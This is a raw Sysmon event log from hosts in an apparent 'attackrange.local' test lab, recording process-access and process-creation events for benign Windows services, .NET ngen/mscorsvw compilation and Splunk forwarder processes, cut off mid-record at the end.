14:45:31.721{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014020Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:31.721{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014019Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:31.721{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014018Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:31.721{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-6F8B-613B-9B04-00000000F101}3140C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014017Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:31.721{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F8B-613B-9B04-00000000F101}3140C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014016Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:31.722{625C326B-6F8B-613B-9B04-00000000F101}3140C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014015Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:31.206{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6923DDD8D0CE7AEF1B6D6F1922C94ED0,SHA256=B06BA409181AB82CF31FD5694AEE2F94E703B58487CB57816ED6D4337453FBDB,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.477{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8B-613B-DB0A-00000000F001}5488C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.461{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F8B-613B-DB0A-00000000F001}5488C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.461{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8B-613B-DB0A-00000000F001}5488C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.430{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8B-613B-DA0A-00000000F001}6228C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.414{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F8B-613B-DA0A-00000000F001}6228C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.414{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8B-613B-DA0A-00000000F001}6228C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.383{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8B-613B-D90A-00000000F001}1640C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.367{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F8B-613B-D90A-00000000F001}1640C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.367{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8B-613B-D90A-00000000F001}1640C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.336{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8B-613B-D80A-00000000F001}3340C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.320{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8B-613B-D80A-00000000F001}3340C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.320{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8B-613B-D80A-00000000F001}3340C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.305{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=266F1CF57E275FE4408E9061671E4F9C,SHA256=BE7703E23A737E7E18C32844BA5B509F4A99AD055605A6658110D61780163DC7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.273{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8B-613B-D70A-00000000F001}3436C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.258{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F8B-613B-D70A-00000000F001}3436C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.258{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8B-613B-D70A-00000000F001}3436C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.227{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8B-613B-D60A-00000000F001}6028C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.211{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8B-613B-D60A-00000000F001}6028C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.211{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8B-613B-D60A-00000000F001}6028C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.